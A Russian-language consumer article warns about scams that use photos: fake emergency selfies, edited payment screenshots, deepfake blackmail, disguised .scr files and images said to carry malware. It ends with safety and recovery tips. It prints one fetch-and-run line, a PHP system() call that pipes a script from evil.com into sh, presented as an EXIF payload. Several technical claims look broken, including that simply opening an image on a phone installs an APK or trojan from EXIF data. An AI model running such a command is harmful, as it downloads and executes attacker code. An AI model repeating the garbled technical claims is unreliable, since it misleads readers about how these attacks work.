В последние годы в соцсетях и мессенджерах стремительно набирает обороты новый вид мошенничества, «рассорка» через фотографию. Схема кажется невероятно простой: вам присылают «банальное» селфи‚ а через несколько минут ваш счёт пуст или личные данные оказались в руках злоумышленников. В статье разберёмся‚ как именно работают популярные методы‚ какие уязвимости эксплуатируют мошенники и‚ главное‚ как защитить себя и своих близких.
Что такое «рассорка»?
«Рассорка» — сленговое название социальной инженерии‚ цель которой вывести жертву из эмоционального равновесия («расстроить») и заставить совершить опрометчивые действия: перевести деньги‚ установить вредоносное ПО‚ раскрыть пароли и т. д. Фотография в смартфоне становится троянским конём‚ маскирующим атаку под дружеский жест или непредвиденную ситуацию.
Топ-5 распространённых сценариев
«Экстренное селфи» от друга в беде
Сценарий. Вам приходит сообщение от знакомого: «Я в больнице‚ срочно нужны деньги на лекарство»‚ а вместе с ним — фото больничной палаты или «документ» с QR-кодом.
- Как работает. Фотография была скачана из открытых источников или сгенерирована нейросетью. QR-код ведёт на фишинговый сайт‚ где просят ввести данные карты.
- Эмоциональный крючок. Симпатия и страх за близкого.
Поддельный «чек-банк»
Сценарий. Вам присылают скриншот якобы подтверждающий оплату вашего товара на Авито‚ но с просьбой «добавить немного» за доставку.
- Как работает. Изображение редактируется в Photoshop или мобильных редакторах (Snapseed‚ PicsArt). Реквизиты кошелька/карты в описании ведут на счёт мошенника.
«Подарок»-стеганография
Сценарий. Красивая открытка или мем приходит в Telegram/WhatsApp. После скачивания смартфон начинает «тормозить».
- Как работает. В EXIF-данных фото или внутри самого файла встроен скрытый APK-шелл (Android) или мобильный троян (iOS‚ если jailbreak). При открытии изображения запускается фоновая установка вредоносного ПО.
Техническая деталь
EXIF UserComment: <?php system('curl -s https://evil.com/payload.sh | sh'); ?>
«Deepfake-обнажёнка» и шантаж
Сценарий. На почту приходит фейковое фото‚ где ваше лицо «монтировано» на обнажённое тело. Далее — требование «заплатите‚ иначе выложу всем друзьям».
- Как работает. Генерация через дешёвые нейросети (Stable Diffusion + LoRA). Угроза психологически давит‚ даже если фейк очевиден.
«Сломанный смартфон» продавца
Сценарий. На Авито/Юлу продаётся iPhone за полцены. Продавец якобы не может сфотографировать IMEI‚ потому что «экран треснут»‚ и присылает «архив фото».
- Как работает. В ZIP-архиве вместо JPG — файл
photo.jpg.scr‚ который Windows «по-умолчанию» запускает как исполняемый.
Как мошенники маскируют вредоносный код в фото
| Метод | Как проверить |
|---|---|
| Встроенный скрипт в PNG | Откройте фото в HEX-редакторе. Директива PLTE не должна содержать исполняемого кода. |
| Фальшивое расширение | Проверьте реальное расширение через свойства файла (длинное нажатие → «Информация»). |
| Метаданные EXIF | Утилита exiftool покажет скрытые поля. Подозрительные строки — красный флаг. |
Пошаговая инструкция «не попасться»
- Доверяй‚ но перепроверяй.
Позвоните другу голосом или задайте вопрос‚ на который знает только он («Как зовут твою кошку?»). - Не открывайте фото на ПК‚ если расширение
.scr‚ .exe‚ .jar. - IOS/Android: отключите автозагрузку медиа в мессенджерах (Настройки → Данные и память → Автоматическая загрузка).
- Установите антивирус с проверкой по SHA-256 (Kaspersky‚ ESET Mobile).
- Развивайте цифровую грамотность.
Подпишитесь на официальный канал МВД РФ по кибербезопасности.
Что делать‚ если уже пострадали
- Немедленно:
- Отключите мобильный интернет или переведите смартфон в «Авиарежим».
- Удалите подозрительное приложение через безопасный режим (Android: выключить → включить с зажатым Volume Down).
- В течение 24 часов:
- Смените пароли всех аккаунтов с двухфакторной авторизацией.
- Напишите в службу поддержки банка о блокировке карты.
- Зафиксируйте факт мошенничества: скриншоты диалога‚ EXIF-фото‚ логи устройства.
- Обратитесь в полицию по телефону 102 или через сайт Госуслуги.
Краткий чек-лист для друзей и семьи
Распечатайте и повесьте на холодильник:
Не открывай фото от незнакомых номеров. Проверь расширение файла. Позвони‚ если «друг» просит деньги. Не ставь левые APK. Активируй 2FA везде.
Главное — не паниковать. Любую «рассорку» через фото можно нейтрализовать‚ если держать голову холодной и следовать простым правилам кибергигиены. Поделитесь этой статьёй в семейном чате — одна пересылка может спасти тысячи рублей и нервы.